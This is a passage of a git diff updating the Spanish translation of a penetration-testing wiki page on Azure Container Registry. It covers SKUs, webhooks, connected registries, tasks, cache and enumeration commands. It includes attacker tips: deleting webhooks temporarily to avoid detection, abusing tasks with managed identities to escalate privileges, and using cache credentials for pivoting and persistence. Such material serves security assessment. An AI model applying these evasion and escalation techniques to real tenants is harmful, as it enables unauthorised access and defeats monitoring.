@@ USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].app echo "Service principal ID: $USER_NAME" echo "Service principal password: $PASSWORD" ``` -### Encryption +### Cifrado -Solo el **Premium SKU** soporta **encryption at rest** para las imágenes y otros artefactos. +Solo el **Premium SKU** admite **encryption at rest** para las imágenes y otros artefactos. ### Networking -Solo el **Premium SKU** soporta **private endpoints**. Los demás solo soportan **public access**. Un public endpoint tiene el formato `.azurecr.io` y un private endpoint tiene el formato `.privatelink.azurecr.io`. Por esta razón, el nombre del registry debe ser único en todo Azure. +Solo el **Premium SKU** admite **private endpoints**. Los demás solo admiten **public access**. Un endpoint público tiene el formato `.azurecr.io` y un endpoint privado tiene el formato `.privatelink.azurecr.io`. Por este motivo, el nombre del registry debe ser único en todo Azure. ### Microsoft Defender for Cloud -Esto te permite **scan the images** en el registry en busca de **vulnerabilities**. +Esto permite **escanear las imágenes** del registry en busca de **vulnerabilidades**. ### Soft-delete -La función **soft-delete** te permite **recover a deleted registry** dentro del número de días indicado. Esta función está **disabled by default**. +La función **soft-delete** permite **recuperar un registry eliminado** dentro del número de días indicado. Esta función está **deshabilitada de forma predeterminada**. ### Webhooks -Es posible **create webhooks** dentro de los registries. En este webhook hay que especificar la URL donde se **enviará una request whenever a push or delete action is performed**. Además, los Webhooks pueden indicar un scope para señalar los repositories (images) que se verán afectados. Por ejemplo, 'foo:\*' means events under repository 'foo'. +Es posible **crear Webhooks** dentro de los registries. En este Webhook es necesario especificar la URL a la que se **enviará una solicitud cada vez que se realice una acción de push o delete**. Además, los Webhooks pueden indicar un scope para especificar los repositorios (imágenes) que se verán afectados. Por ejemplo, 'foo:\*' significa eventos dentro del repositorio 'foo'. -From an attackers perspective it's interesting to check this **before performing any action** en el registry, and remove it terporarely if needed, to avoid being detected. +Desde la perspectiva de un atacante, es interesante comprobar esto **antes de realizar cualquier acción** en el registry y eliminarlo temporalmente si es necesario, para evitar ser detectado. ### Connected registries -Esto básicamente permite **mirror the images** de un registry a otro, normalmente ubicado on-premises. +Básicamente, esto permite **hacer mirror de las imágenes** de un registry a otro, normalmente ubicado on-premises. -Tiene 2 modes: **ReadOnly** y **ReadWrite**. En el primero, las images solo se **pulled** desde el source registry, y en el segundo, las images también pueden ser **pushed** al source registry. +Tiene 2 modos: **ReadOnly** y **ReadWrite**. En el primero, las imágenes solo se **hacen pull** desde el registry de origen, mientras que en el segundo, las imágenes también se pueden **hacer push** al registry de origen. -Para que los clients accedan al registry desde Azure, se genera un **token** cuando se usa el conected registry. +Para que los clientes accedan al registry desde Azure, se genera un **token** cuando se utiliza el connected registry. ### Runs & Tasks -Runs & Tasks permite ejecutar en Azure acciones relacionadas con container que normalmente tendrías que hacer localmente o en una pipeline de CI/CD. Por ejemplo, puedes **build, push, and run images in the registry**. +Runs & Tasks permite ejecutar en Azure acciones relacionadas con containers que normalmente tendrías que realizar localmente o en un pipeline de CI/CD. Por ejemplo, puedes **hacer build, push y ejecutar imágenes en el registry**. -La forma más sencilla de build and run a container es using a regular Run: +La forma más sencilla de hacer build y ejecutar un container es utilizando un Run normal: ```bash # Build echo "FROM mcr.microsoft.com/hello-world" > Dockerfile @@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f # Run az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null ``` -Sin embargo, eso activará runs que no son muy interesantes desde la perspectiva de un atacante porque no tienen ninguna managed identity asociada. +Sin embargo, eso activará ejecuciones que no son muy interesantes desde la perspectiva de un atacante, ya que no tienen ninguna managed identity asociada. -Sin embargo, las **tasks** pueden tener una **system and user managed identity** asociada. Estas tasks son las útiles para **escalate privileges** en el contenedor. En la sección de privileges escalation es posible ver cómo usar tasks para escalate privileges. +Sin embargo, las **tasks** pueden tener una **system and user managed identity** asociada. Esas son las tasks útiles para **escalar privilegios** en el container. En la sección de escalada de privilegios es posible ver cómo usar tasks para escalar privilegios. ### Cache -La funcionalidad de cache permite **download images from an external repository** y almacenar las nuevas versiones en el registry. Requiere tener algunas **credentials configured** seleccionadas eligiendo las credentials desde un Azure Vault. +La función Cache permite **descargar imágenes desde un repositorio externo** y almacenar las nuevas versiones en el registry. Requiere tener algunas **credenciales configuradas**, seleccionando las credenciales desde un Azure Vault. -Esto es muy interesante desde la perspectiva de un attacker porque permite **pivot to an external platform** si el attacker tiene suficientes permisos para acceder a las credentials, **download images from an external repository** y configurar un cache también podría usarse como **persistence mechanism**. +Esto es muy interesante desde la perspectiva de un atacante, porque permite **pivotar a una plataforma externa** si el atacante tiene permisos suficientes para acceder a las credenciales. **Descargar imágenes desde un repositorio externo** y configurar una Cache también podría utilizarse como **mecanismo de persistencia**. -## Enumeration +## Enumeración > [!WARNING] -> Es muy importante que aunque el nombre del registry contenga algunas letras mayúsculas, solo debes usar letras minúsculas en la url para acceder a él. +> Es muy importante que, aunque el nombre del registry contenga algunas letras mayúsculas, solo se utilicen letras minúsculas en la URL para acceder a él. ```bash # List of all the registries # Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... @@ -155,6 +155,10 @@ az acr cache show --name --registry ../az-privilege-escalation/az-container-registry-privesc.md {{#endref}} +{{#ref}} +../az-post-exploitation/az-container-registry-post-exploitation.md +{{#endref}} + ## Referencias - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)